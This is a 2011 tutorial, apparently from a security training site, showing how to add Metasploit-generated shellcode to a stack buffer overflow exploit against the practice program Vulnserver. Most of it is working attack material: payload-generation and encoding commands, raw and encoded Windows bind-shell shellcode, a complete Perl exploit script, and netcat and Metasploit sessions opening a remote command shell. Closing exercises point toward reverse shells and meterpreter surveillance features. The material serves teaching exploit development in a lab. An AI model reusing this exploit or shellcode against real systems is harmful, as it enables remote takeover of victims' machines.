Hacking

Stack Based Buffer Overflow Tutorial, part 3 - Adding shellcode

Stephen Bradshaw
March 10, 2011 by
Stephen Bradshaw

This is the third article in a series of three on stack based buffer overflow. Before you read further, you will want to read the first and second articles.

At this point, you have control of EIP and are attempting to get the code you want to run. Since EIP must be overwritten with a provided value, and considering we may not be able to predict the exact address in memory where the code we want to run will sit, this requires a little creativity on our part.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Adding shellcode to our exploit

Now that we have proven that we can actually manage to execute code that we send to the application, we need to supply some of our own code that will allow us to take control of the system.

In this case, we need code that has some pretty specific characteristics for it to work once executed as part of our exploit. Since this code is being inserted into a program being executed directly by the systems CPU (and not through any sort of interpreter), the code we provide has to be machine code – which is specific to the particular type of CPU used. In addition, we will be sticking this code into memory and executing it from a location that is not known to us, so the code we provide must be position independent – in other words it must be able to execute correctly regardless of where it ends up. Code with these features used as part of an exploit is commonly referred to as "shellcode," so called because some of the first examples of this type of code were written to provide shell access on exploited systems.

Given that it often requires access to Operating System functions to perform its tasks, shellcode is also usually Operating System specific. So for the purpose of this exploit, we need to find Windows X86 processor based shellcode that will perform the task we require.

Luckily, Metasploit comes with a number of examples of Windows X86 shellcode. You can see the full (and very long) list of shellcodes (referred to by Metasploit as Payloads) by running the "msfpayload" command with no options.

For this exploit, I am going to generate some bind shell shellcode. This essentially opens a Windows command shell and binds its input and output to a new listening TCP socket. To access the shell, you just need to connect to the socket with a basic TCP socket client program like netcat.

The following command will output shellcode to listen on TCP port 4444 in Perl (P) syntax.

stephen@bt:~$ msfpayload windows/shell_bind_tcp LPORT=4444 P

# windows/shell_bind_tcp - 341 bytes

# http://www.metasploit.com

# AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=,

# LPORT=4444, RHOST=

my $buf =

"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52" .

"x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26" .

"x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d" .

"x01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0" .

"x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8b" .

"x58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xff" .

"x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7d" .

"xf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8b" .

"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44" .

"x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8b" .

"x12xebx86x5dx68x33x32x00x00x68x77x73x32x5f" .

"x54x68x4cx77x26x07xffxd5xb8x90x01x00x00x29" .

"xc4x54x50x68x29x80x6bx00xffxd5x50x50x50x50" .

"x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7x31" .

"xdbx53x68x02x00x11x5cx89xe6x6ax10x56x57x68" .

"xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxff" .

"xd5x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7" .

"x68x75x6ex4dx61xffxd5x68x63x6dx64x00x89xe3" .

"x57x57x57x31xf6x6ax12x59x56xe2xfdx66xc7x44" .

"x24x3cx01x01x8dx44x24x10xc6x00x44x54x50x56" .

"x56x56x46x56x4ex56x56x53x56x68x79xccx3fx86" .

"xffxd5x89xe0x4ex56x46xffx30x68x08x87x1dx60" .

"xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5" .

"x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6f" .

"x6ax00x53xffxd5";

That output there is the shellcode, machine language code that once run as part of our exploit will bind a listening command shell to port 4444. Looking at the output of this command though, we can see a problem – there are multiple bad characters in the output (e.g. x00, x0D and x0A). If we send this to the application, it's likely to get mangled or cut off, resulting in the shellcode being incomplete and/or nonfunctional. We have a way to get around this problem though... We can use an encoder!

Metasploit also comes with a number of encoders that allow us to deal with issues where shellcode we want to use contains bad characters. The encoders essentially "encode" the bytes of the shellcode into a different format, with the exact process used differing depending on the encoder. A decoding stub is then added to the shellcode, which allows the shellcode to be decoded into its original format and then executed at runtime. Encoders can be accessed via the msfencode command. You can see the full list of encoders by running "msfencode -l" if you are interested.

In the following command I am regenerating the shellcode from above using msfpayload, and piping its output in raw (R) syntax into msfencode, which will then output that same shellcode in encoded format, using Perl syntax. I have not chosen a particular encoder, I am letting msfencode choose the best one based on my criteria, which is to give me encoded output which avoids using the characters x00, x0A and x0D.

stephen@bt:~$ msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -b 'x00x0ax0d' -t perl

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

my $buf =

"xbbx38xa8x95x3exdaxd2xd9x74x24xf4x5fx31xc9" .

"xb1x56x31x5fx13x83xc7x04x03x5fx37x4ax60xc2" .

"xafx03x8bx3bx2fx74x05xdex1exa6x71xaax32x76" .

"xf1xfexbexfdx57xebx35x73x70x1cxfex3exa6x13" .

"xffx8ex66xffxc3x91x1ax02x17x72x22xcdx6ax73" .

"x63x30x84x21x3cx3ex36xd6x49x02x8axd7x9dx08" .

"xb2xafx98xcfx46x1axa2x1fxf6x11xecx87x7dx7d" .

"xcdxb6x52x9dx31xf0xdfx56xc1x03x09xa7x2ax32" .

"x75x64x15xfax78x74x51x3dx62x03xa9x3dx1fx14" .

"x6ax3fxfbx91x6fxe7x88x02x54x19x5dxd4x1fx15" .

"x2ax92x78x3axadx77xf3x46x26x76xd4xcex7cx5d" .

"xf0x8bx27xfcxa1x71x86x01xb1xdex77xa4xb9xcd" .

"x6cxdexe3x99x41xedx1bx5axcdx66x6fx68x52xdd" .

"xe7xc0x1bxfbxf0x27x36xbbx6fxd6xb8xbcxa6x1d" .

"xecxecxd0xb4x8cx66x21x38x59x28x71x96x31x89" .

"x21x56xe1x61x28x59xdex92x53xb3x69x95x9dxe7" .

"x3ax72xdcx17xadxdex69xf1xa7xcex3fxa9x5fx2d" .

"x64x62xf8x4ex4exdex51xd9xc6x08x65xe6xd6x1e" .

"xc6x4bx7exc9x9cx87xbbxe8xa3x8dxebx63x9cx46" .

"x61x1ax6fxf6x76x37x07x9bxe5xdcxd7xd2x15x4b" .

"x80xb3xe8x82x44x2ex52x3dx7axb3x02x06x3ex68" .

"xf7x89xbfxfdx43xaexafx3bx4bxeax9bx93x1axa4" .

"x75x52xf5x06x2fx0cxaaxc0xa7xc9x80xd2xb1xd5" .

"xccxa4x5dx67xb9xf0x62x48x2dxf5x1bxb4xcdxfa" .

"xf6x7cxfdxb0x5axd4x96x1cx0fx64xfbx9exfaxab" .

"x02x1dx0ex54xf1x3dx7bx51xbdxf9x90x2bxaex6f" .

"x96x98xcfxa5";

Metasploit has encoded the original shellcode using the x86/shikata_ga_nai encoder. This encoder produces different output on subsequent runs, so don't be alarmed if your shellcode does not match mine. Note that the characters x00, x0D and x0A are not present in the encoded output.

I will now take this output and paste it into my exploit, as shown below. In the exploit below, I have also added 16 NOP characters into the space immediately before my shellcode. I have done this because certain encoders (and x86/shikata_ga_nai is one of them) sometimes need some working space in which to perform their decoding. If the space is not available the decoding process can sometimes fail and generate an exception, so if you have the available room, it's always good to add some NOPs just before the shellcode. This gives the decoder some room to move and doesn't affect the performance of the exploit.

#!/usr/bin/perl

use IO::Socket;

if ($ARGV[1] eq '') {

die("Usage: $0 IP_ADDRESS PORTnn");

}

$baddata = "TRUN ."; # sets variable $baddata to "TRUN /.:/"

$baddata .= "A" x 2006; # appends (.=) 3000 "A" characters to $baddata

$baddata .= pack('V', 0x625011AF); # essfunc.dll JMP ESP

$baddata .= "x90" x 16; # 16 NOPs

# windows/shell_bind_tcp, LPORT=4444, x86/shikata_ga_nai, size 368

$baddata .= "xbbx38xa8x95x3exdaxd2xd9x74x24xf4x5fx31xc9" .

"xb1x56x31x5fx13x83xc7x04x03x5fx37x4ax60xc2" .

"xafx03x8bx3bx2fx74x05xdex1exa6x71xaax32x76" .

"xf1xfexbexfdx57xebx35x73x70x1cxfex3exa6x13" .

"xffx8ex66xffxc3x91x1ax02x17x72x22xcdx6ax73" .

"x63x30x84x21x3cx3ex36xd6x49x02x8axd7x9dx08" .

"xb2xafx98xcfx46x1axa2x1fxf6x11xecx87x7dx7d" .

"xcdxb6x52x9dx31xf0xdfx56xc1x03x09xa7x2ax32" .

"x75x64x15xfax78x74x51x3dx62x03xa9x3dx1fx14" .

"x6ax3fxfbx91x6fxe7x88x02x54x19x5dxd4x1fx15" .

"x2ax92x78x3axadx77xf3x46x26x76xd4xcex7cx5d" .

"xf0x8bx27xfcxa1x71x86x01xb1xdex77xa4xb9xcd" .

"x6cxdexe3x99x41xedx1bx5axcdx66x6fx68x52xdd" .

"xe7xc0x1bxfbxf0x27x36xbbx6fxd6xb8xbcxa6x1d" .

"xecxecxd0xb4x8cx66x21x38x59x28x71x96x31x89" .

"x21x56xe1x61x28x59xdex92x53xb3x69x95x9dxe7" .

"x3ax72xdcx17xadxdex69xf1xa7xcex3fxa9x5fx2d" .

"x64x62xf8x4ex4exdex51xd9xc6x08x65xe6xd6x1e" .

"xc6x4bx7exc9x9cx87xbbxe8xa3x8dxebx63x9cx46" .

"x61x1ax6fxf6x76x37x07x9bxe5xdcxd7xd2x15x4b" .

"x80xb3xe8x82x44x2ex52x3dx7axb3x02x06x3ex68" .

"xf7x89xbfxfdx43xaexafx3bx4bxeax9bx93x1axa4" .

"x75x52xf5x06x2fx0cxaaxc0xa7xc9x80xd2xb1xd5" .

"xccxa4x5dx67xb9xf0x62x48x2dxf5x1bxb4xcdxfa" .

"xf6x7cxfdxb0x5axd4x96x1cx0fx64xfbx9exfaxab" .

"x02x1dx0ex54xf1x3dx7bx51xbdxf9x90x2bxaex6f" .

"x96x98xcfxa5";

$socket = IO::Socket::INET->new( # setup TCP socket – $socket

Proto => "tcp",

PeerAddr => "$ARGV[0]", # command line variable 1 – IP Address

PeerPort => "$ARGV[1]" # command line variable 2 – TCP port

) or die "Cannot connect to $ARGV[0]:$ARGV[1]";

$socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd

print "$sd"; # print $sd variable

$socket->send($baddata); # send $baddata variable via $socket

Restart Vulnserver in the debugger, and press F9 to allow it to run. We will leave the breakpoint in place for the moment, as we want to have a quick look at the shellcode in memory to see if any mangling is apparent before we run it.

Now run your exploit script again.

stephen@bt:~$ perl trun-exploit-vs.pl 192.168.56.1 9999

Welcome to Vulnerable Server! Enter HELP for help.

Vulnserver should pause at the "JMP ESP" breakpoint. From here, press F8 to step, and you should then see the string of NOPs followed by the instructions of our shellcode in the disassembler pane. So we can examine the shellcode more easily, select the first non NOP instruction, right click and choose Follow in Dump->Selection from the menu (See the screenshot below).

Drag the middle divider in OllyDbg upwards a little to enlarge the memory dump pane. This will allow you to perform a quick "eyeball" of the data in memory. The data shown in the memory dump should exactly match the data sent from our exploit script.

Based on my own quick scan, the data looked as if it matched, however this is not really a conclusive result – there is too much data here to verify it with one quick scan. When the data generally looks OK though, I usually choose to test it is accurate by running it. If there are any more bad characters this will usually result in an exception during the execution of the shellcode – no exception usually means that the shellcode worked and there were no bad characters sent in our shellcode.

What would we do if we ran the exploit and another exception occurred? At this point we could examine the data in memory more closely, either by visually confirming the data byte by byte or by copying the data out of the debugger and comparing it with the shellcode using some sort of small program.

Press F9 again to let Vulnserver run. In my case, the program started executing apparently as normal – a good sign.

In theory, the Vulnserver program should now have an open network connection on port 4444, waiting for us to connect so it can serve up a shell. If you have a copy of netcat on your machine, the quickest way to connect is shown below. If you don't have netcat, don't worry, I will show a way to connect using Metasploit next.

To connect using netcat.

stephen@bt:~$ nc 192.168.56.1 4444

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Internet Downloadsvulnserver>

Woo hoo! That's a successful shell connection! If you want to connect using Metasploit you can use one of the following methods shown below. Both connection methods can be accessed via the msfconsole command line environment.

Metasploit connection – Method 1. You may need to hit Enter again after inputting the exploit command to activate the shell session.

stephen@bt:~$ msfconsole

=[ metasploit v3.6.0-beta [core:3.6 api:1.0]

+ -- --=[ 645 exploits - 329 auxiliary

+ -- --=[ 216 payloads - 27 encoders - 8 nops

=[ svn r11855 updated 6 days ago (2011.03.01)

msf > use multi/handler

msf exploit(handler) > set payload windows/shell_bind_tcp

payload => windows/shell_bind_tcp

msf exploit(handler) > set RHOST 192.168.56.1

RHOST => 192.168.56.1

msf exploit(handler) > set RPORT 4444

RPORT => 4444

msf exploit(handler) > exploit

[*] Started bind handler

[*] Starting the payload handler...

[*] Command shell session 1 opened (192.168.56.101:51157 -> 192.168.56.1:4444) at Mon Mar 07 10:00:34 +1100 2011

C:Internet Downloadsvulnserver>

Metasploit connection – Method 2.

stephen@bt:~$ msfconsole

=[ metasploit v3.6.0-beta [core:3.6 api:1.0]

+ -- --=[ 645 exploits - 329 auxiliary

+ -- --=[ 216 payloads - 27 encoders - 8 nops

=[ svn r11855 updated 6 days ago (2011.03.01)

msf > connect 192.168.56.1 4444

[*] Connected to 192.168.56.1:4444

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:Internet Downloadsvulnserver>

OK, that's it, a successful exploit has been written.

You can restart Vulnserver in the debugger and try this again with the breakpoint removed to see the exploit operating without restraint in the debugger, or try opening Vulnserver outside of the debugger and launching the exploit against it that way. Both methods should now work, as the exploit is now properly functional.

You can use regular Windows command line commands at the prompt provided by the shell, but be careful about hitting Ctrl-C as this will terminate the session. You can close the Windows shell once you are done by typing the "exit" command. Exiting the shell will also terminate the Vulnserver application – you will need to relaunch it to run the exploit again.

Additional Challenges

Here are some additional things you can try relating to this exploitation exercise if you want a bit more of a challenge.

1. Are you wondering what the practical differences are between the two Metasploit connection methods I outlined above? When you connect using one of those methods, under some circumstances you can "upgrade" your shell into a fully featured command environment called meterpreter. Meterpreter is provided with Metasploit and features built in commands to perform keystroke capture, screen dumping, connection forwarding, webcam picture taking, information gathering, microphone recording and more.

You can find out how to "upgrade" your shell session using the guide here:

http://pauldotcom.com/2010/04/using-meterpreter-to-control-n.html

Give it a try and see how it works for you.

2. I have used simple bind shell shellcode in the example exploit above. Why don't you try another type of shellcode? How about a shell that connects in the reverse direction – from the exploited application to your system?

3. For this particular exploit, there is a lot of space left on the stack after the EIP register – more than enough to insert our shellcode here. What would you do if there was only about 20 bytes of space left in program memory after the EIP register though? Do you think you could still get shellcode to the application and run it under those circumstances?

The following little section of shellcode might give you a hint.

"x8BxCCxFExCDxFExCDxFExCDxFFxE1"

The assembly for the above is as follows:

x8BxCC MOV ECX,ESP ; Copies value of ESP to ECX

xFExCD DEC CH ; ~ ECX -256

xFExCD DEC CH

xFExCD DEC CH

xFFxE1 JMP ECX ; JMP ECX

4. The Vulnserver program automatically exits after you have exploited the program and closed the bound shell. It's almost as if the shellcode is closing the application itself. Is there any way to avoid this happening?

If you need a hint, try looking at the options for the Windows bind shellcode, using the following command:

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

msfpayload windows/shell_bind_tcp S

Stephen Bradshaw
Stephen Bradshaw

Stephen Bradshaw is security researcher for InfoSec Institute and an IT Security Specialist in Australia, with a focus on the areas of penetration testing and incident detection and response.